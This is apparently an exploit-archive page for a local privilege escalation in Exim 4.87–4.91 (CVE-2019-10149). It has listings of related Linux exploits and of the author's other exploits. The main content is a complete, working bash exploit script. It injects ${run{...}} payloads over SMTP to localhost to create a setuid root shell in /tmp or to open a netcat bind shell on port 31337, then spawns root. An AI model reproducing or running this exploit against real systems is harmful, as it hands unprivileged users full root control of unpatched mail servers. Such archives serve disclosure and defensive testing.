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"Exim 4.87 - 4.91 - Local Privilege Escalation"

Author

"Marco Ivaldi"

Platform

linux

Release date

2019-06-17

Release Date Title Type Platform Author
2019-07-03 "Serv-U FTP Server - prepareinstallation Privilege Escalation (Metasploit)" local linux Metasploit
2019-07-01 "PowerPanel Business Edition - Cross-Site Scripting" webapps linux "Joey Lane"
2019-07-01 "Linux Mint 18.3-19.1 - 'yelp' Command Injection" remote linux b1ack0wl
2019-06-26 "Nagios XI 5.5.6 - Magpie_debug.php Root Remote Code Execution (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure Health Monitor - TarArchive Directory Traversal (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure - Runrshell Privilege Escalation (Metasploit)" local linux Metasploit
2019-06-20 "Linux - Use-After-Free via race Between modify_ldt() and #BR Exception" dos linux "Google Security Research"
2019-06-18 "Serv-U FTP Server < 15.1.7 - Local Privilege Escalation" local linux "Guy Levin"
2019-06-17 "Exim 4.87 - 4.91 - Local Privilege Escalation" local linux "Marco Ivaldi"
2019-06-17 "Netperf 2.6.0 - Stack-Based Buffer Overflow" dos linux "Juan Sacco"
2019-06-14 "CentOS 7.6 - 'ptrace_scope' Privilege Escalation" local linux s4vitar
2019-06-11 "Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)" remote linux AkkuS
2019-06-10 "Ubuntu 18.04 - 'lxd' Privilege Escalation" local linux s4vitar
2019-06-05 "Exim 4.87 < 4.91 - (Local / Remote) Command Execution" remote linux "Qualys Corporation"
2019-06-05 "LibreNMS - addhost Command Injection (Metasploit)" remote linux Metasploit
2019-06-04 "Vim < 8.1.1365 / Neovim < 0.3.6 - Arbitrary Code Execution" local linux Arminius
2019-05-08 "NetNumber Titan ENUM/DNS/NP 7.9.1 - Path Traversal / Authorization Bypass" webapps linux MobileNetworkSecurity
2019-05-08 "MiniFtp - 'parseconf_load_setting' Buffer Overflow" local linux strider
2019-05-03 "Blue Angel Software Suite - Command Execution" remote linux "Paolo Serracino_ Pietro Minniti_ Damiano Proietti"
2019-05-02 "Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)" remote linux Metasploit
2019-05-01 "CentOS Web Panel 0.9.8.793 (Free) / v0.9.8.753 (Pro) / 0.9.8.807 (Pro) - Domain Field (Add DNS Zone) Cross-Site Scripting" webapps linux DKM
2019-04-30 "Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification" dos linux "Google Security Research"
2019-04-26 "systemd - DynamicUser can Create setuid Binaries when Assisted by Another Process" dos linux "Google Security Research"
2019-04-23 "Linux - 'page->_refcount' Overflow via FUSE" dos linux "Google Security Research"
2019-04-23 "Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition" dos linux "Google Security Research"
2019-04-23 "systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit" dos linux "Google Security Research"
2019-04-19 "SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)" local linux Metasploit
2019-04-12 "Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)" remote linux Metasploit
2019-04-08 "CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting" webapps linux DKM
2019-04-08 "Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation" local linux cfreal
Release Date Title Type Platform Author
2019-06-17 "Exim 4.87 - 4.91 - Local Privilege Escalation" local linux "Marco Ivaldi"
2019-05-20 "Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)" local solaris "Marco Ivaldi"
2019-05-20 "Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)" local solaris "Marco Ivaldi"
2019-05-20 "Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation" local solaris "Marco Ivaldi"
2019-01-14 "xorg-x11-server < 1.20.3 - Local Privilege Escalation (Solaris 11 inittab)" local solaris "Marco Ivaldi"
2018-11-30 "xorg-x11-server < 1.20.3 - 'modulepath' Local Privilege Escalation" local openbsd "Marco Ivaldi"
2006-01-18 "MySQL 4.x - CREATE Temporary TABLE Symlink Privilege Escalation" remote multiple "Marco Ivaldi"
2004-08-04 "Oracle 9i - Multiple Vulnerabilities" remote unix "Marco Ivaldi"
2007-02-13 "Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack" remote multiple "Marco Ivaldi"
2007-02-13 "Lotus Domino R6 Webmail - Remote Password Hash Dumper" remote windows "Marco Ivaldi"
2007-02-06 "MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution" remote windows "Marco Ivaldi"
2006-12-19 "Oracle 9i/10g - 'utl_file' FileSystem Access" remote linux "Marco Ivaldi"
2006-12-19 "Oracle 9i/10g - 'extproc' Local/Remote Command Execution" remote multiple "Marco Ivaldi"
2006-11-23 "Oracle 9i/10g - 'read/write/execute' ation Suite" remote multiple "Marco Ivaldi"
2004-12-24 "Solaris 2.5.1/2.6/7/8 rlogin (SPARC) - '/bin/login' Remote Buffer Overflow" remote solaris "Marco Ivaldi"
2018-10-30 "xorg-x11-server 1.20.3 - Privilege Escalation" local openbsd "Marco Ivaldi"
2006-10-24 "Sun Solaris Netscape Portable Runtime API 4.6.1 - Local Privilege Escalation (2)" local solaris "Marco Ivaldi"
2006-10-13 "Sun Solaris Netscape Portable Runtime API 4.6.1 - Local Privilege Escalation (1)" local solaris "Marco Ivaldi"
2009-09-11 "IBM AIX 5.6/6.1 - '_LIB_INIT_DBG' Arbitrary File Overwrite via Libc Debug" local aix "Marco Ivaldi"
2008-03-10 "Solaris 8/9/10 - 'fifofs I_PEEK' Local Kernel Memory Leak" local solaris "Marco Ivaldi"
2007-04-04 "TrueCrypt 4.3 - 'setuid' Local Privilege Escalation" local windows "Marco Ivaldi"
2006-10-24 "Solaris 10 libnspr - 'Constructor' Arbitrary File Creation Privilege Escalation (3)" local solaris "Marco Ivaldi"
2006-10-16 "Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (2)" local solaris "Marco Ivaldi"
2006-10-13 "Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (1)" local solaris "Marco Ivaldi"
2006-09-13 "X11R6 < 6.4 XKEYBOARD (Solaris/SPARC) - Local Buffer Overflow (2)" local solaris "Marco Ivaldi"
2006-08-22 "Solaris 8/9 - '/usr/ucb/ps' Local Information Leak" local solaris "Marco Ivaldi"
2006-08-22 "Solaris 10 sysinfo(2) - Local Kernel Memory Disclosure (2)" local solaris "Marco Ivaldi"
2006-07-18 "Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation" local linux "Marco Ivaldi"
2006-07-13 "Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (3)" local linux "Marco Ivaldi"
2006-02-20 "MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)" local linux "Marco Ivaldi"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46996/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46996/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46996/41408/exim-487-491-local-privilege-escalation/download/", "exploit_id": "46996", "exploit_description": "\"Exim 4.87 - 4.91 - Local Privilege Escalation\"", "exploit_date": "2019-06-17", "exploit_author": "\"Marco Ivaldi\"", "exploit_type": "local", "exploit_platform": "linux", "exploit_port": null}
                                            

For full documentation follow the link above

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#!/bin/bash

#
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive). 
# Improper validation of recipient address in deliver_message() 
# function in /src/deliver.c may lead to remote command execution.
# (CVE-2019-10149)
#
# This is a local privilege escalation exploit for "The Return 
# of the WIZard" vulnerability reported by the Qualys Security 
# Advisory team.
#
# Credits:
# Qualys Security Advisory team (kudos for your amazing research!)
# Dennis 'dhn' Herrmann (/dev/tcp technique)
#
# Usage (setuid method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m setuid
# Preparing setuid shell helper...
# Delivering setuid payload...
# [...]
# Waiting 5 seconds...
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
# Usage (netcat method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m netcat
# Delivering netcat payload...
# Waiting 5 seconds...
# localhost [127.0.0.1] 31337 (?) open
# id
# uid=0(root) gid=0(root) groups=0(root)
#
# Vulnerable platforms:
# Exim 4.87 - 4.91
#
# Tested against:
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
#

METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'

# usage instructions
function usage()
{
	echo "$0 [-m METHOD]"
	echo
	echo "-m setuid : use the setuid payload (default)"
	echo "-m netcat : use the netcat payload"
	echo
	exit 1
}

# payload delivery
function exploit()
{
	# connect to localhost:25
	exec 3<>/dev/tcp/localhost/25

	# deliver the payload
	read -u 3 && echo $REPLY
	echo "helo localhost" >&3
	read -u 3 && echo $REPLY
	echo "mail from:<>" >&3
	read -u 3 && echo $REPLY
	echo "rcpt to:<$PAYLOAD>" >&3
	read -u 3 && echo $REPLY
	echo "data" >&3
	read -u 3 && echo $REPLY
	for i in {1..31}
	do
		echo "Received: $i" >&3
	done
	echo "." >&3
	read -u 3 && echo $REPLY
	echo "quit" >&3
	read -u 3 && echo $REPLY
}

# print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>'
echo

# parse command line
while [ ! -z "$1" ]; do
	case $1 in
		-m) shift; METHOD="$1"; shift;;
		* ) usage
		;;
	esac
done
if [ -z $METHOD ]; then
	usage
fi

# setuid method
if [ $METHOD = "setuid" ]; then

	# prepare a setuid shell helper to circumvent bash checks
	echo "Preparing setuid shell helper..."
	echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c
	gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
	if [ $? -ne 0 ]; then
		echo "Problems compiling setuid shell helper, check your gcc."
		echo "Falling back to the /bin/sh method."
		cp /bin/sh /tmp/pwned
	fi
	echo

	# select and deliver the payload
	echo "Delivering $METHOD payload..."
	PAYLOAD=$PAYLOAD_SETUID
	exploit
	echo

	# wait for the magic to happen and spawn our shell
	echo "Waiting 5 seconds..."
	sleep 5
	ls -l /tmp/pwned
	/tmp/pwned

# netcat method
elif [ $METHOD = "netcat" ]; then

	# select and deliver the payload
	echo "Delivering $METHOD payload..."
	PAYLOAD=$PAYLOAD_NETCAT
	exploit
	echo

	# wait for the magic to happen and spawn our shell
	echo "Waiting 5 seconds..."
	sleep 5
	nc -v 127.0.0.1 31337

# print help
else
	usage
fi